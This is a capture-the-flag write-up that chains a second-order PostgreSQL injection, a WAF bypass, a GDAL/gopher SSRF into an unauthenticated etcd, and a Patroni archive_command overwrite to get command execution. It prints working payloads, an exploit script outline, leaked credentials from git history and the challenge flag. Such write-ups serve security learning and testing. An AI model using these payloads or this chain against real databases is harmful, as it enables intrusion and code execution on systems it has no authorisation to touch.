Challenge Description
A dog-tracking service, handed out as a .tgz with the full source and a .git directory. The flag lives in the database container.
The chain that solves it, end to end:
/api/chip?pulse= SQLi (signal_quality EXECUTE string-concat) └─ libinjection bypass: '|| postgis_func(...) ||' (no SELECT/UNION/;/comment) └─ ST_AsGDALRaster(.., 'BAG', ARRAY['TEMPLATE=/vsicurl/gopher://..']) SSRF └─ gopher:// raw-TCP smuggle → etcd v2 API (no auth) └─ overwrite Patroni DCS config → malicious archive_command └─ pg_logical_emit_message() bulk WAL → segment switch └─ WAL archiver runs archive_command as the postgres UID └─ setuid-root /readflag → /flag.txt └─ stash flag in dogs.handler_hint → read via /api/chipEverything is delivered through the single public web endpoint and read back in-band, so no outbound egress from the target is needed.
Source Code Analysis
Three services: a Go app on :8090 (the only published port), PostgreSQL 11 with PostGIS 2.5 managed by Patroni, and etcd as Patroni’s configuration store with the v2 API enabled.
Where the flag actually is
echo "$FLAG" > /flag.txtchmod 400 /flag.txt # root-only readunset FLAG # scrubbed from the environmentexec su -m postgres -c "patroni /patroni.yml"COPY --from=builder /app/nuclear_explosion /RUN chmod 4111 /nuclear_explosion # setuid root, world-exec// nuclear_explosion.c (remote ships an equivalent /readflag)int main(int argc, char *argv[]) { if (argc != 2 || strcmp(argv[1], "please") != 0) { fprintf(stderr, "Usage: %s please\n", argv[0]); return 1; } FILE *f = fopen("/flag.txt", "r"); // root reads it because the binary is setuid ...}This shapes the entire challenge. /flag.txt is mode 400 owned by root and the FLAG env var is unset before postgres starts, so the flag is only reachable by executing the setuid helper. A file-read primitive is worthless here — we need OS command execution inside the database container.
The hint hiding in git history
$ git log --oneline8c1cea0 Redact compose flagc161611 Update compose deployment valuesd87027c Redact patroni credentials1dc4fb5 Add initial deployment config
$ git log -p- FLAG: SAS{g1t_h1st0ry_1s_pr377y_g00d?} # decoy "flag" — a hint, not the flag- auth: 'username:secretpasstheydontknow' # Patroni REST creds (later REDACTED)- password: secretpasstheydontknow # superuser/replication/admin/pg_rewindThe decoy flag is a wink at the real lesson: the redaction commits scrubbed HEAD, but history still carries every credential. One password, secretpasstheydontknow, covers the postgres superuser, replication, admin, pg_rewind, and the Patroni REST API.
The injection
/api/chip passes pulse safely as a bound parameter:
func (engine *DatabaseEngine) signalQuality(value string) (int, error) { ... // value is passed SAFELY here ($1) ... engine.db.Raw("SELECT signal_quality(?)", value).Scan(&quality)}But the function it calls builds dynamic SQL by concatenation — a textbook second-order injection:
CREATE FUNCTION signal_quality(sample TEXT) RETURNS INTEGER LANGUAGE plpgsql AS $$DECLARE quality TEXT := '0';BEGIN ... EXECUTE 'SELECT quality::text FROM (VALUES (''fresh'',84),(''stable'',61),(''weak'',27)) AS signal_samples(token, quality) WHERE token = ''' || sample || '''' INTO quality; -- << injection RETURN COALESCE(NULLIF(regexp_replace(quality,'[^0-9]','','g'),'')::integer, 0);END; $$The result is digit-stripped into an integer, so the direct return channel is numeric only. The function is SECURITY INVOKER owned by ctfuser, a deliberately de-privileged role:
CREATE ROLE ctfuser LOGIN PASSWORD 'ctfpassword';ALTER ROLE ctfuser NOSUPERUSER NOCREATEDB NOCREATEROLE NOREPLICATION;ALTER DATABASE ctfdb SET postgis.gdal_enabled_drivers = 'BAG'; -- << the crucial knobA Coraza WAF wraps every request with a single libinjection rule, and urlDecodeUni normalizes first so encoding tricks buy nothing:
SecRule ARGS_NAMES|ARGS "@detectSQLi" \ "id:9421,phase:2,t:none,t:utf8toUnicode,t:urlDecodeUni,t:removeNulls,multiMatch,log,deny"What ctfuser can actually do
Connecting directly to enumerate the constraints rules out every standard escalation:
current_user = ctfuser (NOT superuser)CREATE EXTENSION dblink → permission denied (need superuser)lo_import / lo_export → permission deniedCOPY ... TO/FROM '<file>' → must be superuser / pg_write_server_filesCOPY ... TO/FROM PROGRAM → must be superuser / pg_execute_server_programpg_read_file / pg_ls_dir → permission deniedALTER SYSTEM → must be superuserpostgis.gdal_enabled_drivers = BAG (only the GDAL "BAG" driver is allowed)SET postgis.enable_outdb_rasters=t → accepted in-session, but PGC_SUSET re-check blocks out-db opens at runtime → VSICURL disabledNo file write, no file read, no program exec, no extensions. The single non-standard capability handed to us is that one GDAL driver, which makes it the intended door.
BAG is an HDF5-based driver, and two of its features are dead ends here. HDF5 dynamically-loaded filter plugins would give RCE via dlopen, but the plugin directory is absent and root-owned, the env var is unset, and we have no file-write primitive to drop a shared object. HDF5 external dataset storage gives arbitrary file read as the postgres UID, which cannot read the root-only flag and is not exec anyway.
The reachable one is the BAG driver’s TEMPLATE creation option:
// BAGCreator::GenerateMetadata (reached via ST_AsGDALRaster create)CPLString osTemplateFilename = CSLFetchNameValueDef(papszOptions, "TEMPLATE", "");if (!osTemplateFilename.empty()) psRoot = CPLParseXMLFile(osTemplateFilename); // → VSIIngestFile → full VSI layerCPLParseXMLFile opens the path through GDAL’s VSI layer, so /vsicurl/ works, and the fetch happens before the raster create fails. The create errors out with “Could not create the output GDAL dataset”, but the HTTP request already went out.
The important part is that /vsicurl/ hands the URL to libcurl, which speaks gopher://. Gopher sends arbitrary raw bytes over TCP, which turns a read-only metadata feature into a full SSRF with arbitrary method, headers and body.
The Vulnerability
Evading libinjection
Rather than breaking out with a quote or a UNION, inject a concatenation expression into the WHERE token = '...' position, so the executed query becomes WHERE token = '' || expr::text || ''. The expression evaluates, its side effects fire, and there is no SELECT, UNION, semicolon or comment for libinjection to fingerprint:
pulse=fresh -> 200 baselinepulse=' -> 500 breakout, SQL error (live)pulse=x' UNION SELECT 1-- -> 403 WAF blockspulse='||version()||' -> 403 version is fingerprintedpulse='||current_setting('x')||' -> 403 fingerprintedpulse='||st_astext(st_makepoint(1,2))||' -> 200 PostGIS names passpulse='||st_asgdalraster(null,'BAG')::text||' -> 200 our vector passesPostGIS function names are not in libinjection’s blocklist, so the entire SSRF expression sails through.
Gopher SSRF through TEMPLATE
'||st_asgdalraster( st_addband(st_makeemptyraster(8,8,0,0,1,-1,0,0,4326),'32BF'::text,0,NULL), 'BAG', array['TEMPLATE=/vsicurl/gopher://HOST:PORT/_<URL-ENCODED-RAW-BYTES>'])::text||'The raw HTTP request is percent-encoded byte by byte into the gopher selector, and arrives verbatim. A timing oracle confirmed reachability of the internal network — an unroutable host stalls for about 16 seconds while etcd:2379 answers in under a second.
Turning SSRF into RCE
Patroni’s bootstrap config pre-sets an archive command with archiving already enabled:
postgresql: parameters: archive_command: cd / archive_mode: always # << archiving is ONChange archive_command and force a WAL segment to complete, and the WAL archiver runs it as the postgres OS user. Patroni stores its dynamic config in etcd, which has no authentication at all, so overwriting the key is enough — no password needed, unlike the REST API route:
PUT /v2/keys/service/ctf-cluster/config HTTP/1.1Host: etcd:2379Content-Type: application/x-www-form-urlencoded
value={"ttl":30,...,"postgresql":{"use_pg_rewind":true,"parameters":{ "archive_command":"<PAYLOAD>","archive_mode":"always",...}}}Triggering the archiver is the last hurdle: pg_switch_wal() is superuser-only and stacked statements are WAF-blocked. But pg_logical_emit_message is callable inside an expression, allowed for ctfuser, and writes about 9 MB of WAL per call, so a few calls cross a 16 MB segment boundary and force the switch:
'||pg_logical_emit_message(false,'p',repeat('A',9000000))::text||'Reading the flag back in-band
archive_command runs as the postgres OS user, which owns a .pgpass entry, so psql -U postgres authenticates as superuser without us ever learning the password. Writing the output into a column the app already returns avoids needing egress at all:
( /readflag please ) > /tmp/f 2>&1;psql -U postgres -d ctfdb -c \ "UPDATE dogs SET handler_hint='OUT::'||pg_read_file('/tmp/f') WHERE id=1";trueA plain GET /api/chip?chip=MSK-1042 then returns the flag in handler_hint.
Three field notes matter for reliability. The whole command goes in a subshell so one redirect captures everything. archive_command must contain no newline, since that breaks postgresql.conf parsing, though single quotes are fine because Patroni doubles them. And there is a reload race — keep emitting WAL while polling so that a segment switch happens after Patroni picks up the new command, with a per-run nonce in the marker so stale output is never mistaken for fresh.
Exploitation
def inj(expr): # token = '' || (expr)::text || '' -- libinjection-safe return "'||" + expr + "||'"
def ssrf(host, port, raw): # smuggle raw TCP bytes via BAG TEMPLATE + /vsicurl/gopher hexsel = "".join("%%%02x" % b for b in raw) tmpl = f"/vsicurl/gopher://{host}:{port}/_{hexsel}" return inj("st_asgdalraster(st_addband(st_makeemptyraster(8,8,0,0,1,-1,0,0,4326)," "'32BF'::text,0,NULL),'BAG',array['TEMPLATE=" + tmpl + "'])::text")
# 1) overwrite Patroni DCS config in etcd (no auth) with a malicious archive_command# 2) keep emitting WAL (pg_logical_emit_message) until a segment switch runs it# 3) read the command output back from /api/chip handler_hintRunning it against the remote confirms execution as the postgres UID, and finds the setuid helper is shipped as /readflag rather than the source’s /nuclear_explosion:
$ python3 run.py https://<instance>.kit.sasc.tf \ 'id; echo ---SETUID---; find / -perm -4000 -type f 2>/dev/null'===== OUTPUT =====uid=70(postgres) gid=70(postgres) groups=70(postgres),70(postgres)---SETUID---/readflag==================
$ python3 run.py https://<instance>.kit.sasc.tf '/readflag please'===== OUTPUT =====SAS{4ef48b54-1e81-49ce-a2df-c6a017733ef4}==================Flag
SAS{4ef48b54-1e81-49ce-a2df-c6a017733ef4}